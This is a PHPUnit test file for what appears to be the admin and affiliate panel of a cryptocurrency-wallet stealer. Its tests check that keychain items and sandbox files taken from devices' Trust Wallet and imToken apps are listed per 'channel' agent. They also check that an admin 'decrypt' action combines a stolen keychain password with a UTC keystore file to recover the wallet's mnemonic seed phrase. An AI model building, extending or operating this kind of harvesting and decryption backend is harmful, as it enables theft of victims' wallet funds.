Files
coruna-lab/tests/Feature/KeystoreAdminTest.php
T
2026-08-24 07:07:56 +08:00

251 lines
9.8 KiB
PHP

<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Channel;
use App\Models\Device;
use App\Models\User;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\EthKeystore;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class KeystoreAdminTest extends TestCase
{
use RefreshDatabase;
#[Test]
public function admin_lists_keystores_and_items(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create([
'device_id' => 'DEVKEYSTORE01',
'channel_id' => 'ch-ks-1',
]);
$row = WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 1,
'raw_json' => [
'kind' => 'keychain.wallets',
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'account' => 'trust.account',
'service' => null,
'accessGroup' => '9873B38DWV.com.sixdays.trust',
'protectionClass' => 9,
'dataHex' => bin2hex('777350'),
]],
],
],
],
]);
$this->actingAs($admin, 'admin')
->get(route('admin.home'))
->assertOk()
->assertSee('钥匙串');
$this->actingAs($admin, 'admin')
->get(route('admin.keystores.index'))
->assertOk()
->assertSee('钥匙串');
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.data'))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('count', 1)
->assertJsonPath('data.0.source', 'Trust Wallet')
->assertJsonPath('data.0.decrypted', 1)
->assertJsonPath('data.0.kind', '钥匙串')
->assertJsonPath('data.0.item_count', 1)
->assertJsonPath('data.0.summary', 'trust.account')
->assertJsonPath('data.0.device_key', 'DEVKEYSTORE01');
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.items', $row))
->assertOk()
->assertJsonPath('data.items.0.account', 'trust.account')
->assertJsonPath('data.items.0.data_preview', '777350');
$this->actingAs($admin, 'admin')
->get(route('admin.devices.show', [$device, 'tab' => 'keystores']))
->assertOk()
->assertSee('钥匙串');
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))
->assertOk()
->assertJsonPath('data.0.source', 'Trust Wallet')
->assertJsonPath('data.0.item_count', 1)
->assertJsonPath('data.0.summary', 'trust.account');
}
#[Test]
public function agent_only_sees_own_channel_keystores(): void
{
$agentA = User::query()->create(['username' => 'ks-a', 'password' => 'secret12', 'status' => 1]);
$agentB = User::query()->create(['username' => 'ks-b', 'password' => 'secret12', 'status' => 1]);
$chA = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
$chB = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]);
Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]);
$devA = Device::query()->create(['device_id' => 'dev-ks-a', 'channel_id' => $chA]);
$devB = Device::query()->create(['device_id' => 'dev-ks-b', 'channel_id' => $chB]);
$rowA = WalletKeystore::query()->create([
'device_id' => $devA->id,
'source' => 'imToken',
'decrypted' => 0,
'raw_json' => ['kind' => 'sandbox', 'sandbox' => ['imtoken' => ['walletsV2.json' => base64_encode('{}')]]],
]);
$rowB = WalletKeystore::query()->create([
'device_id' => $devB->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => ['trustwallet' => ['items' => []]]],
]);
$this->actingAs($agentA, 'agent')
->get(route('user.home'))
->assertOk()
->assertSee('钥匙串');
$this->actingAs($agentA, 'agent')
->getJson(route('user.keystores.data'))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_key', 'dev-ks-a');
$this->actingAs($agentA, 'agent')
->getJson(route('user.keystores.items', $rowA))
->assertOk()
->assertJsonPath('data.items.0.account', 'walletsV2.json');
$this->actingAs($agentA, 'agent')
->getJson(route('user.keystores.items', $rowB))
->assertForbidden();
}
#[Test]
public function admin_decrypt_writes_mnemonic_from_stored_trust_utc(): void
{
Http::fake();
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2');
$this->assertIsString($password);
$utc = EthKeystore::encrypt($phrase, $password, [
'n' => 16,
'r' => 8,
'p' => 1,
'dklen' => 32,
'salt' => str_repeat('ef', 32),
]);
$device = Device::query()->create(['device_id' => 'DEVKSDECRYPT01']);
$keychain = WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => [
'kind' => 'keychain.wallets',
'wallets' => [
'trustwallet' => [
'items' => [[
'account' => 'trustwalletUTC--demo',
'dataHex' => bin2hex($password),
]],
],
],
],
]);
WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => [
'kind' => 'sandbox',
'sandbox' => [
'trust_wallet' => [
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
],
],
],
]);
$this->actingAs($admin, 'admin')
->postJson(route('admin.keystores.decrypt', $keychain))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.added', 1)
->assertJsonPath('data.decrypted', 1);
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($mnemonic);
$this->assertSame($phrase, $mnemonic->mnemonic);
$this->assertSame('Trust Wallet', $mnemonic->source);
}
#[Test]
public function agent_cannot_decrypt_other_channel_keystore(): void
{
$agentA = User::query()->create(['username' => 'ks-dec-a', 'password' => 'secret12', 'status' => 1]);
$agentB = User::query()->create(['username' => 'ks-dec-b', 'password' => 'secret12', 'status' => 1]);
$chA = 'cccccccccccccccccccccccccccccccc';
$chB = 'dddddddddddddddddddddddddddddddd';
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]);
Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]);
$devB = Device::query()->create(['device_id' => 'dev-ks-dec-b', 'channel_id' => $chB]);
$rowB = WalletKeystore::query()->create([
'device_id' => $devB->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => ['trustwallet' => ['items' => []]]],
]);
$this->actingAs($agentA, 'agent')
->postJson(route('user.keystores.decrypt', $rowB))
->assertForbidden();
}
#[Test]
public function decrypt_explains_trust_password_without_utc(): void
{
Http::fake();
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => 'DEVKSDECRYPT02']);
$keychain = WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => [
'kind' => 'keychain.wallets',
'wallets' => [
'trustwallet' => [
'items' => [[
'account' => 'trustwalletwallet-hd-wallet-UTC--2026-08-21T00-03-40--47A2D637-C475-4384-AA0F-9BB81A84893F',
'dataHex' => str_repeat('ab', 32),
]],
],
],
],
]);
$resp = $this->actingAs($admin, 'admin')
->postJson(route('admin.keystores.decrypt', $keychain))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.added', 0)
->assertJsonPath('data.utc', 0)
->assertJsonPath('msg', '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密');
$this->assertGreaterThan(0, $resp->json('data.passwords'));
}
}